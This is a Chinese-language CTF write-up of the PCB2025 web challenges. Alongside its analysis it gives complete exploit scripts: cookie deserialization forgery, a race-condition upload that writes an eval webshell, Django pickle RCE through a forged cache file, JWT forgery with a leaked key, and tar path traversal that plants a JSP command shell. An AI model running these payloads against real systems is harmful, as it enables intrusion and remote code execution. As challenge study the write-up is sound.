共用一个靶机真是抽象,没怎么打简单看一下题目吧
X_xSe
找了半天的flag,结果你说你在数据库里面?
xxe黑盒不知道过滤了啥,反正当时xxe外带成功了,后面就没做出来。
9000端口还有一个数据库的web服务(可以用gopher协议探测端口),简单绕过过滤sqlite盲注即可。
具体可以看https://baozongwi.xyz/p/pcb-2025/#pcb5-x_xse
ez_php
又是黑盒
cookie是用的反序列化的格式,伪造一下admin即可,过滤了admin需要双写一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
// 修正后的生成脚本
namespace Session;
class User {
// 必须是 private 才能生成 \0ClassName\0PropertyName
private $username = "aadmindmin";
}
$user = new User();
$serialized = serialize($user);
// 确认序列化结果
var_dump($serialized);
// 输出 Base64 编码后的 Payload
echo base64_encode($serialized);
?>
|
进后台后有个任意读取,后面也是没翻到flag,看了wp发现是在flag.php里面,php被过滤了,用类似于羊城杯那道的绕过方式
1
|
/dashboard.php?filename=flag.php/
|
Uplssse
黑盒…
cookie还是用的反序列化,签一个is_admin:1进去了
进去是一个文件上传,上传后有时间检测,一下子想到条件竞争,当时没打进去。因为用的同一个靶机,感觉好多队伍是碰巧用上别人的webshell了。没有环境也没法复现,不过找到这篇wp,我觉得思路是对的。
f12中的提示
1
2
|
<meta name="dev-settings" content="autoload_extension=.inc">
<meta name="dev-settings" content="tmp_directory=./tmp/">
|
当PHP反序列化一个未定义的类时,会触发spl_autoload机制去加载类文件,根据提示,autoload会去 ./tmp/类名.inc 查找类定义,想到我们刚才越权位置正好有一个反序列化,可以上传一个.inc文件到tmp目录,并通过cookie去触发autoload,包含Evil.inc时执行其中的PHP代码,直接放上wp上的exp。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
import requests
import threading
import base64
TARGET = "http://ip"
ADMIN_COOKIE = {"user_auth": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjY6ImxzcmFpbiI7czo4OiJwYXNzd29yZCI7czo2OiIxMjM0NTYiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ=="}
EVIL_COOKIE = {"user_auth": base64.b64encode(b'O:4:"Evil":0:{}').decode()}
# 恶意.inc内容 - 写入持久化shell
PAYLOAD = b'''<?php
file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]); ?>');
echo "SHELL_WRITTEN";
class Evil {}
?>'''
success = False
def upload():
"""用Admin Cookie上传Evil.inc"""
global success
whilenot success:
try:
requests.post(f"{TARGET}/upload.php",
files={'file': ('Evil.inc', PAYLOAD, 'application/octet-stream')},
data={'upload': 'upload'},
cookies=ADMIN_COOKIE, timeout=1)
except: pass
def trigger():
"""用Evil Cookie触发autoload"""
global success
whilenot success:
try:
r = requests.get(f"{TARGET}/upload.php", cookies=EVIL_COOKIE, timeout=1)
if'SHELL_WRITTEN'in r.text:
success = True
print("[+] Shell written successfully!")
except: pass
# 启动多线程
for _ in range(5):
threading.Thread(target=upload, daemon=True).start()
for _ in range(10):
threading.Thread(target=trigger, daemon=True).start()
import time
time.sleep(30)
|
ezDjango
终于给源代码了,原型是香山杯2023决赛ezcache,几乎没改什么东西
0x01 代码审计
看一下整体结构

/app目录主要负责应用的配置,/cacheapp目录主要负责应用的业务
从/cacheapp路由入手:

/generate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
@csrf_exempt
def generate_page(request):
if request.method == "POST":
intro = str(request.POST.get('intro', ''))
user = request.user if request.user.is_authenticated else 'Guest'
blacklist = ['admin', 'config.']
for word in blacklist:
if word in intro:
return HttpResponse("can't be as admin")
outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)
f = request.FILES.get("file", None)
filename = request.POST.get('filename', '') if request.POST.get('filename') else (f.name if f else '')
if not f:
return HttpResponse("❌ 没有上传文件")
if not filename:
filename = f.name
if '.py' in filename:
return HttpResponse("❌ 不允许上传.py文件")
try:
static_dir = os.path.join(settings.BASE_DIR, 'static', 'uploads')
os.makedirs(static_dir, exist_ok=True)
filepath = os.path.join(static_dir, filename)
write_file_chunks(f, filepath)
return HttpResponse(outer_html + f"</p><p>✅ 文件已上传: /static/uploads/{filename}</p>")
except Exception as e:
return HttpResponse(f"❌ 文件上传失败: {str(e)}")
return render(request, 'generate.html')
|
intro参数这里存在格式化字符串漏洞,那就可以读取任意 user 对象里的内容(不能执行方法)
1
|
{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}
|

也可以读取其他的信息,不过因为都给了源码,本地和源码中settings.py应该大差不差。filename这里文件上传,可以路径穿越覆盖任意文件(只过滤了py),暂时没看出能干什么。
/upload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
@csrf_exempt
def upload_payload(request):
if request.method == "POST":
f = request.FILES.get("file", None)
if not f:
return json_error('No file uploaded')
filename = request.POST.get('filename', f.name)
if not filename.endswith('.cache'):
return json_error('Only .cache files are allowed')
try:
temp_dir = '/tmp'
filepath = os.path.join(temp_dir, filename)
write_file_chunks(f, filepath)
return json_success('File uploaded', filepath=filepath)
except Exception as e:
return json_error(str(e))
return render(request, 'upload.html')
|
还是可以路径穿越,不过只允许.cache结尾的文件。
/copy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
@csrf_exempt
def copy_file(request):
if request.method == "POST":
src = request.POST.get('src', '')
dst = request.POST.get('dst', '')
if not src or not dst:
return json_error('Source and destination required')
try:
if not os.path.exists(src):
return json_error('Source file not found')
os.makedirs(os.path.dirname(dst), exist_ok=True)
content = read_file_bytes(src)
with open(dst, 'wb') as dest_file:
dest_file.write(content)
return json_success('File copied', src=src, dst=dst)
except Exception as e:
return json_error(str(e))
return render(request, 'copy.html')
|
src和dst都没有过滤,又是可以任意目录移动文件。
/cache/viewer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
@csrf_exempt
def cache_viewer(request):
if request.method == "POST":
cache_key = request.POST.get('key', '')
if not cache_key:
return json_error('Cache key required')
try:
path = os.path.join(cache_dir(), cache_filename(cache_key))
if os.path.exists(path):
content = read_file_bytes(path)
return json_success('Read cache raw', cache_path=path, raw_content=content.hex())
return json_error(f'Cache file not found: {path}')
except Exception as e:
return json_error(str(e))
return render(request, 'cache_viewer.html')
# utils.py
def cache_filename(key: str) -> str:
return f"{hashlib.md5(key.encode()).hexdigest()}.djcache"
def read_file_bytes(path: str) -> bytes:
with open(path, "rb") as f:
return f.read()
|
传入key可以任意读取.djcache文件(前提是计算出文件名)
/cache/trigger
1
2
3
4
5
6
7
8
9
10
11
12
|
@csrf_exempt
def cache_trigger(request):
if request.method == "POST":
key = request.POST.get('key', '') or settings.CACHE_KEY
try:
val = cache.get(key, None)
if isinstance(val, (bytes, bytearray)):
return json_success('Triggered', value_b64=base64.b64encode(val).decode())
return json_success('Triggered', value=str(val))
except Exception as e:
return json_error(str(e))
return json_error('POST required')
|
跟进一下这个cache

Django 会从 settings.CACHES 读取缓存配置,找一下settings.py里怎么写的

配置把默认缓存后端设成了 Django 的文件缓存 FileBasedCache,继续跟进FileBasedCache

get方法这里存在严重的pickle反序列化漏洞,可以进行RCE。这里不是直接传入pickle,而是将恶意pickle构造成合法的.djcache

一个合法的 .djcache 文件结构是:
1
|
[pickle(expiry)] + [zlib(pickle(value))]
|
我们构造的时候要保证它没有过期
1
2
3
4
5
6
7
8
9
|
class SUIDMakeExec:
def __reduce__(self):
cmd = ['ls']
return (subprocess.check_output, (cmd,))
def construct_payload():
header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
return header + body
|
0x02 预期
可以说是漏洞百出,整理一下上面的思路
1.通过/generate路由格式化字符串漏洞泄露出缓存路径和缓存key
2.制作恶意反序列化文件保存为.cache文件
3.通过/upload路由上传.cache文件
4.通过缓存key计算出文件名
5.通过/copy路由将.cache文件复制到对应的缓存路径(文件名使用计算好的,后缀使用.djcache)
6.通过/cache/trigger传入缓存key触发picke反序列化
7.远程环境还有一个suid make提权
贴一下baozongwi师傅的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
|
import os
import hashlib
import pickle
import zlib
import time
import re
import base64
import subprocess
import httpx
BASE_URL = 'http://ip'
class SUIDMakeExec:
def __reduce__(self):
cmd = ['ls']
# cmd = ['/usr/bin/make', 'SHELL=/bin/bash', '.SHELLFLAGS=-p -c', '-s', '--eval', 'x:\n\tcat /flag', 'x']
return (subprocess.check_output, (cmd,))
def construct_payload():
header = pickle.dumps(int(time.time() + 3600), pickle.HIGHEST_PROTOCOL)
body = zlib.compress(pickle.dumps(SUIDMakeExec(), pickle.HIGHEST_PROTOCOL))
return header + body
def get_server_config(client):
def fetch(payload, fallback, name):
try:
resp = client.post(
"/generate/",
data={'intro': payload},
files={'file': (name, b'1', 'application/octet-stream')}
)
match = re.search(r'<h3>(.*?)</h3>', resp.text)
return match.group(1).strip() if match else fallback
except Exception:
return fallback
cache_dir = fetch(
'{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHES[default][LOCATION]}',
'/tmp/django_cache',
'loc.txt',
)
cache_key = fetch(
'{user._groups.model._meta.default_apps.app_configs[auth].module.settings.CACHE_KEY}',
'pwn',
'key.txt',
)
return cache_dir, cache_key
def run_exploit():
target_url = os.environ.get('BASE_URL', BASE_URL).rstrip('/')
with httpx.Client(base_url=target_url, timeout=5.0) as client:
print(f"[*] Target: {target_url}")
cache_dir, cache_key = get_server_config(client)
print(f"[+] Cache Dir: {cache_dir}")
print(f"[+] Cache Key: {cache_key}")
cache_filename = hashlib.md5(f":1:{cache_key}".encode()).hexdigest() + '.djcache'
destination_path = f"{cache_dir.rstrip('/')}/{cache_filename}"
payload_data = construct_payload()
try:
print("[*] Uploading payload...")
upload_resp = client.post(
"/upload/",
data={'filename': 'exploit.cache'},
files={'file': ('exploit.cache', payload_data, 'application/octet-stream')}
)
uploaded_path = upload_resp.json().get('filepath')
if not uploaded_path:
print("[-] Upload failed, no filepath returned.")
return
print(f"[+] Uploaded to temporary path: {uploaded_path}")
print(f"[*] Copying to {destination_path}...")
client.post("/copy/", data={'src': uploaded_path, 'dst': destination_path})
print("[*] Triggering deserialization...")
trigger_resp = client.post("/cache/trigger/", data={'key': cache_key})
result = trigger_resp.json()
b64_output = result.get('value_b64')
if b64_output:
flag = base64.b64decode(b64_output).decode(errors='ignore').strip()
print(f"\n[SUCCESS] Flag: {flag}\n")
else:
print("[-] No output in trigger response.")
except httpx.RequestError as e:
print(f"[-] Network error: {e}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == '__main__':
run_exploit()
|

0x03 非预期
与其说是题目的非预期,不如说是题目共用一个靶机的环境造成的非预期
从预期的思路里面看到,我们有一个.djcache文件任意读/cache/viewer路由没有使用。结合还有/copy路由,我们可以直接把flag移动到缓存目录并重命名,接着.djcache文件任意读即可。但题目本来的设计flag应该是400权限,我猜因为有些队伍打通了就顺便把权限改了造成了非预期,难评…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import requests
import hashlib
BASE_URL = "http://ip"
# 这个key随便伪造
key = "pwn"
cache_filename = hashlib.md5(key.encode()).hexdigest() + '.djcache'
print(f"Cache filename: {cache_filename}")
data = {
'src': '/flag',
'dst': f'/tmp/django_cache/{cache_filename}'
}
resp = requests.post(f"{BASE_URL}/copy/", data=data)
print(f"Result: {resp.json()}")
data = {
'key': key
}
resp = requests.post(f"{BASE_URL}/cache/viewer/", data=data)
result = resp.json()
if result.get('status') == 'success':
raw_hex = result.get('raw_content', '')
flag_content = bytes.fromhex(raw_hex).decode('utf-8')
print("FLAG:")
print(flag_content)
|

ezJava
0x01 路径穿越
给了一个提示
1
2
|
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]
|
怎么似曾相识,原来是在n1ctf2025上出现过啊,利用的是CVE-2025-55752。
1
|
/download?path=/uploads/..%2fWEB-INF%2fweb.xml
|
先读取到了web.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<display-name>JWT Login WebApp</display-name>
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.ctf.LoginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>com.ctf.RegisterServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>DashboardServlet</servlet-name>
<servlet-class>com.ctf.DashboardServlet</servlet-class>
<multipart-config>
<max-file-size>10485760</max-file-size>
<max-request-size>20971520</max-request-size>
<file-size-threshold>0</file-size-threshold>
</multipart-config>
</servlet>
<servlet>
<servlet-name>AdminDashboardServlet</servlet-name>
<servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
<multipart-config>
<max-file-size>10485760</max-file-size>
<max-request-size>20971520</max-request-size>
<file-size-threshold>0</file-size-threshold>
</multipart-config>
</servlet>
<servlet>
<servlet-name>BackUpServlet</servlet-name>
<servlet-class>com.ctf.BackUpServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/register</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>DashboardServlet</servlet-name>
<url-pattern>/dashboard/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AdminDashboardServlet</servlet-name>
<url-pattern>/admin/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>BackUpServlet</servlet-name>
<url-pattern>/backup/*</url-pattern>
</servlet-mapping>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
</web-app>
|
可以看到主要的类有五个,分别读取一下
1
2
|
/download?path=uploads/..%2fWEB-INF%2fclasses%2fcom%2fctf%2fBackUpServlet.class
...
|
下载之后用idea或者jadx反编译
0x02 代码审计
jwt越权

admin这里发现一个jwtUtil(也在com.ctf包里面),读取一下class文件并反编译
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public class JwtUtil {
private static final Key key = new SecretKeySpec("secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret".getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName());
private static final long EXPIRATION = 1800000;
public static String generateToken(String username) {
return Jwts.builder().setSubject(username).setExpiration(new Date(System.currentTimeMillis() + EXPIRATION)).signWith(key).compact();
}
public static String validateToken(String token) {
try {
Jws<Claims> claims = Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(token);
return ((Claims) claims.getBody()).getSubject();
} catch (JwtException e) {
return null;
}
}
}
|
找到jwt-key以及加密方法,签一个admin即可越权
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import jwt
import time
secret = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"
payload = {
"sub": "admin", # 管理员用户名
"exp": int(time.time()) + 1800 # 30 分钟
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("jwt=" + token)
|
admin路由

有四个路由主要看一下upload路由
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
private void uploadTar(HttpServletRequest req, HttpServletResponse resp) throws IOException {
Path fileDir = Paths.get(req.getServletContext().getRealPath("tmp"), new String[0]);
if (!fileDir.toFile().exists()) {
fileDir.toFile().mkdirs();
}
resp.setContentType("application/json; charset=UTF-8");
try {
Part filePart = req.getPart("file");
if (filePart == null) {
resp.getWriter().write("{\"error\":\"no file uploaded\"}");
return;
}
Path targetPath = Paths.get(getServletContext().getRealPath("tmp/out.tar"), new String[0]);
InputStream in = filePart.getInputStream();
try {
OutputStream out = Files.newOutputStream(targetPath, new OpenOption[0]);
try {
byte[] buf = new byte[8192];
while (true) {
int len = in.read(buf);
if (len == -1) {
break;
} else if (!new String(buf, 0, len, StandardCharsets.UTF_8).contains("ホ") && !new String(buf, 0, len, StandardCharsets.UTF_8).contains("ン")) {
out.write(buf, 0, len);
}
}
if (out != null) {
out.close();
}
if (in != null) {
in.close();
}
TInputStream tis = new TInputStream(new BufferedInputStream(Files.newInputStream(targetPath, new OpenOption[0])));
TarEntry entry = tis.getNextEntry();
if (entry != null) {
byte[] data = new byte[2048];
FileOutputStream fos = new FileOutputStream(getServletContext().getRealPath("uploads") + entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(fos);
while (true) {
int count = tis.read(data);
if (count == -1) {
break;
} else {
dest.write(data, 0, count);
}
}
System.out.println(new String(data));
dest.flush();
dest.close();
}
tis.close();
File f = targetPath.toFile();
if (f.exists() && f.isFile()) {
boolean ok = f.delete();
if (!ok) {
resp.getWriter().write("{\"status\":\"delete failed\"}");
return;
}
}
resp.getWriter().write("{\"status\":\"ok\"}");
} catch (Throwable th) {
if (out != null) {
try {
out.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
} finally {
}
} catch (Exception e) {
resp.getWriter().write("{\"error\":\"" + e.getMessage() + "\"}");
}
}
|
上传tar文件,并自动解压,但没有校验tar包内的文件名,存在路径穿越覆盖任意文件漏洞。我们可以上传一个jsp,但是这里的web.xml是不支持jsp的,需要先覆盖web.xml。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
|
0x03 exploit
总结思路:
1.jwt越权进入admin
2.调用admin/upload覆盖web.xml
3.调用admin/upload上传jsp文件到根目录,rce
贴上baozongwi师傅的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
import httpx
import jwt
import datetime
import tarfile
import io
import time
import sys
TARGET_URL = "http://ip"
UPLOAD_URL = f"{TARGET_URL}/admin/upload"
SECRET_KEY = "secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"
SHELL_FILENAME = "/../shell.jsp"
SHELL_CONTENT = b'''<%if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b, 0, a)); } out.print("</pre>"); }%>'''
def get_admin_token():
payload = {
"sub": "admin",
"exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(minutes=60)
}
token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def create_tar_bytes(filename, content_bytes):
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
info = tarfile.TarInfo(name=filename)
info.size = len(content_bytes)
tar.addfile(info, io.BytesIO(content_bytes))
return tar_buffer.getvalue()
def upload_tar(client, token, tar_name, tar_data):
cookies = {"jwt": token}
files = {"file": (tar_name, tar_data, "application/x-tar")}
return client.post(UPLOAD_URL, cookies=cookies, files=files, timeout=10.0)
def upload_web_xml(client, token, xml_path):
try:
with open(xml_path, "rb") as f:
xml_data = f.read()
except FileNotFoundError:
print("Error: web.xml not found")
sys.exit(1)
tar_data = create_tar_bytes("/../WEB-INF/web.xml", xml_data)
print(f"Payload size: {len(xml_data)} bytes")
print("Uploading new web.xml...")
r = upload_tar(client, token, "config.tar", tar_data)
print(f"Status: {r.status_code}")
print(f"Response: {r.text}")
def deploy_shell(client, token):
tar_data = create_tar_bytes(SHELL_FILENAME, SHELL_CONTENT)
upload_tar(client, token, "pwn.tar", tar_data)
def run_shell(client, cmd):
final_shell_url = f"{TARGET_URL}/shell.jsp"
params = {"pwd": "023", "i": cmd}
r = client.get(final_shell_url, params=params, timeout=10.0)
if r.status_code == 200:
output = r.text.replace("<pre>", "").replace("</pre>", "").strip()
print(output)
if __name__ == "__main__":
token = get_admin_token()
with httpx.Client() as client:
try:
upload_web_xml(client, token, "web.xml")
except Exception as e:
print(f"Upload failed: {e}")
sys.exit(1)
print("Waiting 10 seconds for reload...")
time.sleep(10)
print("Deploying shell...")
try:
deploy_shell(client, token)
except Exception:
pass
time.sleep(1)
try:
run_shell(client, "env")
except Exception:
pass
|
当然这应该不是这个题目的预期(正好碰上热部署了),算了,反正这题也是出的一团糟…
参考文章
2025鹏城杯 Writeup by Mini-Venom
PCB2025 by baozongwi